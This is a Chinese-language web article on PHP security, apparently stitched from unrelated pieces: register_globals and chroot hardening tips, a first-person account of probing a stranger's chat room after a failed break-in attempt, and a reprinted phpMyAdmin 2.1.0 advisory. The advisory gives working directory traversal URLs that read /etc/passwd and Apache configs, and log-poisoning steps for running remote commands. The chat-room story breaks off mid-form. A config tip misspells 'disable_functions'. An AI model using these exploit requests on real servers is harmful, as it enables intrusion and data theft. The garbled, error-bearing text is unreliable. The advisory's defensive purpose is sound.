首页 > 编程技术 > php

php没有安全漏洞,呵呵.要注意

发布时间:2016-11-25 15:26

如果你的php.ini中register_globals = On, 所有post, get, cookie, session的同名变量就会搅和在一起,
可以用$HTTP_*_VARS["username"]来判断你想要的那个变量.
但是即使同名, 在php.ini中variables_order = "GPCS"也会按照优先级别来判断, 等级低的值没法冲掉等级高的
所以, 如果一开始就用session_register("username")是明智的, 也可以用session_is_registered来判断变量是否已经注册.
这是一个例子:
if (!session_is_registered("username")) {
    $user_name= "";
    session_register("username");
}
同时保证你的php.ini中, variables_order = "GPCS" (缺省) S即session要放在最后, 优先.
register_globals = On有些浪费系统资源, 在优化配置中被关掉, 这样也避免了出现所谓漏洞.
因为以前碰到过这个问题, 给大家参考一下.
一、Web服务器安全
PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

在 php.ini 配置文件里面有这个选项  


disable_functions = ; This directive allows you to disable certain
; functions for security reasons. It receives
; a comma separated list of function names.
; This directive is *NOT* affected by whether
; Safe Mode is turned on or off.  


写成
disble_function = phpinfo
 


网友“小好”给我了一个聊天室ip,让我去看看。原本想入侵它的服务器,大概技术没到家,搞了十几分钟,也没有进去。于是,我就想找找这个聊天室有什么BUG。聊天室看得出是用PHP+MySQL组建的。栏目有:用户注册、 忘记密码、 修改资料、 用户自杀、 聊 神 榜、 聊天说明、 刷新列表 。接着就是聊天了。
我随便注册了一个用户名,按照我的喜好,喜欢开xxxxxx用户,这样,我就用xxxxxx注册了一个用户。登陆进去。
从哪儿下手呢?我想还是先看看修改资料,一般聊天室这里总有这样那样的漏洞。点了一下修改资料,于是就进入下一画面,需要输入用户名和秘密。输好了后,下一步,进入资料修改。YES!资料修改中有用户昵称,其实就是用户名,马上查看源文件,看到如下的HMTL语句:
=================================================cut===========
<form name="ezchat" action="modifyed.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="active" value="change">
<input type="hidden" name="user_name" value="xxxxxx">
<input type="hidden" name="user_passwd_t" value="xxxxx">
<table cellspacing=1 cellpadding=2 width="675" border=0 align=center bgcolor="#FFFFFF">
<tr align=center bgcolor="#FFD193">
<td colspan="4" height="22">用户资料</td>
</tr>
<tr align=center bgcolor="#FFEACE">
<td width="20%" height="22">
<div align="left">用户昵称:<font color="#FF0000"><b>*</b></font></div>
</td>
<td width="30%" height="22">
<div align="left">
<input type="text" name="user_name_1" readonly class="input" value="xxxxxx">
</div>
</td>
==========================================end==================
phpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) 是一款管理 MySQL 数据库的 PHP 工具,具有基于 WEB 的界面。但是发现它存在漏洞。可选择安装新发布稳定版本:
phpMyAdmin 2.2.0。
1、目录遍历漏洞
攻击者通过提供如下的 URL:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/passwd&btnDrop=No (*)
http://www.example.com/phpMyAdmin/tbl_replace.php?db=test&table=ess&goto=/etc/passwd
能非法访问系统文件
有问题的代码在:
‘include($goto);‘ in sql.php and in tbl_replace.php.
2、执行攻击者代码漏洞
通过使用全局可写日志文件,攻击者能在受影响服务器上执行任意代码。
首先,得到 Apache 配置文件以便知道日志文件存储位置:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/httpd.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/srm.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/access.conf&btnDrop=No
可以看出,日志放在:
/var/log/httpd/error_log
/var/log/httpd/access_log
然后 telnet 到 端口80
# telnet www.example.com 80
Trying xxx.xxx.xxx.xxx...
Connected to www.example.com.
Escape character is ‘^]‘.
GET
^]
telnet> quit
Connection closed.
#
在 GET 请求之后,攻击者能将任意 PHP 代码上传
现在,可以用 Apache 用户身份远程运行命令了:
http://www.example.com/phpMyAdmin/sql.php?goto=/var/log/httpd/
access_log&btnDrop=No?meters=ls%20-l%20/
受影响系统:
phpMyAdmin 2.1.0
解决方案:
建议:
1.使用 phpMyAdmin 2.2.0
http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.0-php.tar.gz
2.用户下载安装补丁:
http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff
摘自:52w.net

标签:[!--infotagslink--]

您可能感兴趣的文章: